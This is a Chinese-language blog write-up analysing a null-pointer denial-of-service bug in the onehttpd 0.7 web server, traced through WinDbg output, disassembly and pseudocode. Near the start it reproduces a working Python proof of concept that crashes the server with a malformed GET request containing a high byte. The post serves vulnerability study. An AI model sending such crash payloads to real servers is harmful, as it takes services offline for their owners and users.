作者:k0shl轉載請注明出處:https://whereisk0shl.top
部落格一周年,非常感謝對部落格支持的小夥伴們!未來兩周博主在外遊蕩,暫時不更新部落格,等博主回來恢復更新,謝謝!
漏洞說明
軟體下載:https://www.exploit-db.com/apps/c95b319ff6ad98fef110303302b1b535-onehttpd-0.7.exe
PoC:
#!/usr/bin/env python
# Exploit Title: onehttpd 0.7 Denial of Service
# Date: 12 Aug 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: https://code.google.com/p/onehttpd/
# Version: onehttpd 0.7
# Tested on: Windows 7 Ultimate English
# Windows XP SP2 English
#
from socket import *
buf = (
"GET /\xFF HTTP/1.1\r\n" +
"Host: 192.168.1.143\r\n" +
"\r\n"
)
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.1.143", 8080))
s.send(buf)
s.close()
調試環境:Windows xp sp3
漏洞複現
對這個http服務的漏洞表示無言,這個應該純是開發的失誤造成的,問題出現在處理某指針值的時候,會對這個指針值進行判斷,如果大於某值,則會正常處理,如果沒有大於某值,則會置0,而在置0後後續操作後,這個值會作為一個指針被引用,從而導致當使用一個特定的值(這個值並非只有PoC給出的\xFF,其實\xEF等等都可以觸發這個漏洞)時,會由於置0後作為指針引用導致引用空指針,從而造成拒絕服務漏洞,下麵對此漏洞進行詳細分析。
首先打開http服務,用Windbg附加,執行PoC向HTTP服務端發送畸形數據,程式崩潰,Windbg到達漏洞位置。
0:001> g
(cdc.fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000
eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\onehttpd-0.7.exe
onehttpd_0_7+0x15a4:
004015a4 8a07 mov al,byte ptr [edi] ds:0023:00000000=??
可以看到,此時edi的值為0,此時edi寄存器作為指針寄存器被引用,導致了空指針引用,通過kb查看一下堆棧調用情况。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0020fc58 00404202 009d004c 003e2518 00000000 onehttpd_0_7+0x15a4
0020fc98 004045ce 003e26f8 00248dd0 00000000 onehttpd_0_7+0x4202
0020fcd8 00404ae9 003e26f8 0020fcfc 00000028 onehttpd_0_7+0x45ce
0022ff28 00404d41 000007a0 003e2538 0022ff58 onehttpd_0_7+0x4ae9
0022ff58 004010a7 004012f0 00401066 0022ff78 onehttpd_0_7+0x4d41
0022ffa0 00401143 00000001 8061850d 7c92dc9c onehttpd_0_7+0x10a7
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0022ffc0 7c817067 f199754a 01d1cdf0 7ffd4000 onehttpd_0_7+0x1143
0022fff0 00000000 00401130 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49
就從離棧頂最近的函數位置開始分析。
漏洞分析
通過棧頂回溯到函數sub_401581,對這個函數入口下中斷點跟踪。
.text:00401581 sub_401581 proc near ; CODE XREF: sub_403892+42p
.text:00401581 ; sub_4041D4+29p
.text:00401581
.text:00401581 var_1C = dword ptr -1Ch
.text:00401581 var_10 = dword ptr -10h
.text:00401581 arg_0 = dword ptr 8
.text:00401581 arg_4 = dword ptr 0Ch
.text:00401581
.text:00401581 push ebp
.text:00401582 mov ebp, esp
.text:00401584 push edi
.text:00401585 push esi
.text:00401586 push ebx
.text:00401587 sub esp, 0Ch
.text:0040158A mov eax, [ebp+arg_4]
.text:0040158D mov edi, [ebp+arg_0]
.text:00401590 mov [ebp+var_10], eax
.text:00401593 jmp loc_401680
單步跟踪到某個位置。
0:000> p
eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=003e2518
eip=0040158d esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
onehttpd_0_7+0x158d:
0040158d 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0020fc60=009d004c
0:000> p
eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=009d004c
eip=00401590 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
onehttpd_0_7+0x1590:
00401590 8945f0 mov dword ptr [ebp-10h],eax ss:0023:0020fc48=0020fc58
0:000> dc edi
009d004c 4800ff2f 2f505454 00310031 736f4800 /..HTTP/1.1..Hos
009d005c 31203a74 312e3239 312e3836 3334312e t: 192.168.1.143
可以看到,此時已經是GET方法接收到的數據了,可以看到/目錄,也就是2f後面跟的是ff,也就是畸形字串,這個ff就是關鍵,接下來。
.text:00401590 mov [ebp+var_10], eax
.text:00401593 jmp loc_401680
這裡會進行一次跳轉,跟踪到loc_401680這個塊的位置。
.text:00401598 loc_401598: ; CODE XREF: sub_401581+103j
.text:00401598 cmp al, 1Fh
.text:0040159A setnle al
.text:0040159D movzx eax, al
.text:004015A0 neg eax
.text:004015A2 and edi, eax
.text:004015A4 mov al, [edi]
這裡要重點關注一下al,al其實是eax寄存器的低地址,也就是最低比特,那麼004015A4就是發生空指針引用函數的位置,記住了al這個關鍵的位置之後,單步跟踪。
0:000> p
eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=00401598 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
onehttpd_0_7+0x1598:
00401598 3c1f cmp al,1Fh
0:000> p
eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=0040159a esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
onehttpd_0_7+0x159a:
0040159a 0f9fc0 setg al
0:000> p
eax=ffffff00 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=0040159d esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
onehttpd_0_7+0x159d:
0040159d 0fb6c0 movzx eax,al
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=004015a0 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
onehttpd_0_7+0x15a0:
004015a0 f7d8 neg eax
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=004015a2 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
onehttpd_0_7+0x15a2:
004015a2 21c7 and edi,eax
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000
eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
onehttpd_0_7+0x15a4:
004015a4 8a07 mov al,byte ptr [edi] ds:0023:00000000=??
可以看到,這裡先對al和1F,也就是31進行比較,接下來會進行取反操作,這個過程會令eax置0,接下來eax會令edi置0,在004015a4位置作為指針被引用,引發空指針漏洞。
signed int __cdecl sub_401581(_BYTE *a1, _BYTE *a2)
{
int v2; // [email protected]
_BYTE *v3; // [email protected]
_BYTE *v4; // [email protected]
char v5; // [email protected]
char v7; // [email protected]
char v8; // [email protected]
char v9; // [email protected]
int v10; // [email protected]
_BYTE *v11; // [sp+Ch] [bp-10h]@1
v3 = a1;
v11 = a2;
while ( 1 )
{
if ( !*v3 )
{
*v11 = 0;
return 0;
}
v4 = (_BYTE *)(*v3 > 31 ? (unsigned int)v3 : 0);
v5 = *v4;
最後來看一下偽代碼,v3就是a1,也就是接收到的數据包,這裡會對v3指針進行判斷,如果不大於31,則會置0交給v4,v4在接下來作為指針被引用,從而導致了拒絕服務漏洞。
正常情况下,v3的值都是符合條件的,也就是類似於ABC123這樣的可讀的ASCII碼,但開發人員顯然沒有考慮到自己構造數据包的特殊情况。